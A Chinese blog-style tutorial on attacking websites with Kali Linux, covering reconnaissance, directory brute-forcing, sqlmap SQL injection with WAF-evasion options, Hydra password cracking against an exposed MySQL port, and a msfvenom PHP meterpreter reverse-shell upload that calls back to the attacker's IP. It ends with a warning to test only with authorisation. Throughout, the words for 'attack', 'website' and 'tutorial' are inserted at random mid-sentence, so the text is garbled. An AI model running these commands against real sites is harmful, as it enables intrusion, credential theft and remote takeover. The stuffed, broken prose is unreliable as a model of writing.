Kali攻击网站教程

直接说重点：用Kali攻击网站，攻击最常用的网站入口是sqlmap和nikto，不是教程上来就hydra爆破。我见过太多新手抱着hydra对着登录框狂跑字典，攻击跑了一晚上啥也没出来，网站还怪Kali不好用。教程问题不在工具，攻击在思路。网站

先摸清目标再动手

拿到一个授权测试的教程站点，第一步不是攻击开msfconsole，而是网站whatweb和wafw00f。前者告诉你目标跑的教程是WordPress还是ThinkPHP，后者判断有没有WAF挡在前面。攻击有次我对着一个站扫了半天没反应，网站后来wafw00f一跑，教程Cloudflare明晃晃挂在那儿，所有扫描流量全被吃了。这时候换nmap扫端口也没用，得先想办法绕。

端口扫描用nmap -sV -T4 target.com，-T4是速度等级，别用-T5，容易触发告警。扫出来80和443是标配，但如果看到8080、8443或者3306对外开着，那就有意思了。我遇到过一个站，3306端口直接暴露，hydra跑MySQL弱口令，十分钟就进去了，根本不用碰Web层。

Web层才是主战场

目录扫描用gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt。别小看这个，有次扫出来一个/backup/目录，里面躺着www.zip，下载下来解压，数据库配置文件直接明文写着账号密码。这种低级错误现在少了，但还没绝迹。

SQL注入用sqlmap -u "http://target.com?id=1" --batch --dbs。--batch是自动选默认选项，省得你一路回车。如果站点有WAF，加--tamper=space2comment试试。我碰到过一个站，sqlmap默认跑不动，换了--random-agent加上--delay=2，降速加随机UA，慢慢磨进去了。别急，急就露馅。

文件上传漏洞的话，msfvenom生成个PHP马：msfvenom -p php/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -f raw > shell.php。上传成功后用msfconsole开multi/handler接住。但前提是目标站允许上传PHP，而且没做内容检测。现在很多站会改后缀、检查MIME类型，那就得配合burp suite抓包改包。

别忽视信息收集

theHarvester和recon-ng用来收集邮箱、子域名。有次我用theHarvester -d target.com -b google，翻出来一个dev.target.com的子域名，主站防护严密，但这个开发站直接是默认密码admin/admin，登进去就是后台。信息收集做得好，后面省一半力气。

还有shodan和censys，Kali里可以装命令行版。搜org:"Target Company"，有时候能直接看到他们暴露在公网的数据库或者摄像头。这不是玄学，是很多人忘了关。

几个坑

Kali自带的字典/usr/share/wordlists/rockyou.txt.gz要先解压，gunzip一下。别问我怎么知道的，第一次用的时候对着.gz文件跑了半小时hydra，啥也没跑出来，后来才发现要解压。

还有，sqlmap跑的时候别开-v 6，刷屏刷到你怀疑人生。-v 3足够看payload了。

最后一句实在话：没有授权别碰。Kali里的工具再顺手，对着别人的站乱扫，轻则IP被封，重则警察上门。我写这些是给做渗透测试的人看的，不是给想搞破坏的人用的。工具没罪，看谁用、怎么用。